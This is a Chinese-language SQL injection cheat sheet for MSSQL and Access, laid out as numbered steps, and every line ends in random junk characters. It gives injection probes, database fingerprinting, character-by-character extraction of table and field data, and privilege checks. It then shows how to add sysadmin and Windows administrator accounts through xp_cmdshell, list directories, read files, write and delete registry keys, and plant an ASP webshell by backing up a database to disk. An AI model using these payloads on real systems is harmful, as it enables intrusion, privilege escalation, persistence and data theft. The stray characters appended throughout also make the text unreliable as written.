1.判断是否有注入;and 1=1 ;and 1=2 V*l0|,9
2.初步判断是否是mssql ;and user>0 ~'WvIA
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3.注入参数是字符'and [查询条件] and ''=' E<3hy
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' `07u}]d8
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5.判断数据库系统 ay2
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;and (select count(*) from msysobjects)>0 access g 1\4Jb
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 I}Z[F,}*J
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 V/+r"le
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 )J_!ZpMC
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9.(1)猜字段的ascii值(access) $*%Ml+H-
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 i^uC4S~
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(2)猜字段的ascii值(mssql) TE*$NxQ 2
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 n/s!S &
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10.测试权限结构(mssql) MPO!qSS]
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- )QTk5zt
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- CBSJY&:K
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ue/6DwUv
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- +M@G 8l
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- HtEjM|zj
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ER5Q` H
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;and 1=(select IS_MEMBER('db_owner'));-- j1YE_U
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11.添加mssql和系统的帐户 wXZ.D}d
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;exec master.dbo.sp_addlogin username;-- WGG|d)'@
;exec master.dbo.sp_password null,username,password;-- B0 q![
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- gRdE6aIZ
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;exec master.dbo.xp_cmdshell 'net user username password 2t[c^J
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 1a4QWGpq
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 0 nWV1)Q0=
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12.(1)遍历目录 {, APZ`q|
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;create table dirs(paths varchar(100), id int) N>ct`a)BD/
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;insert dirs exec master.dbo.xp_dirtree 'c:\' }~QB2&3
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;and (select top 1 paths from dirs)>0 tsfOPth$*
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) J@Zm8r<
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(2)遍历目录 1uV_C[:
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 6^{ hY^Z
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 lBG*P>;
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 fy_'K}i3k
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 & p_;&P_
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 bk6$+T=>
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13.mssql中的存储过程 k}lx!Ck
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xp_regenumvalues 注册表根键, 子键 R@VO3zs W
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 z%Z}vWn
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xp_regread 根键,子键,键值名 o=`9JKB~
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 !%s7I^f*
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xp_regwrite 根键,子键, 值名, 值类型, 值 KG3*~G
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 |%RFXkHS
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xp_regdeletevalue 根键,子键,值名 `=KrV#/758
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 0a'@J~v!
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 <BU|?T6~
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14.mssql的backup创建webshell \3LD^[qi
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use model +z[!]^H]4
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create table cmd(str image); qFs<s<]
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insert into cmd(str) values (''); zcZw}
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backup database model to disk='c:\l.asp'; ~o2{Wn["
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15.mssql内置函数 X_YD[
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;and (select @@version)>0 获得Windows的版本号 Q`s(T
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa z::2O/ho
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;and (select user_name())>0 爆当前系统的连接用户 A+}4N%kh
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;and (select db_name())>0 得到当前连接的数据库 W1!eY,1}
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16.简洁的webshell <5#e.w
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use model Bf}_ Jw-=
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create table cmd(str image); Aa Ma9hvT!
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insert into cmd(str) values (''); [5 V
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backup database model to disk='g:\wwwtest\l.asp';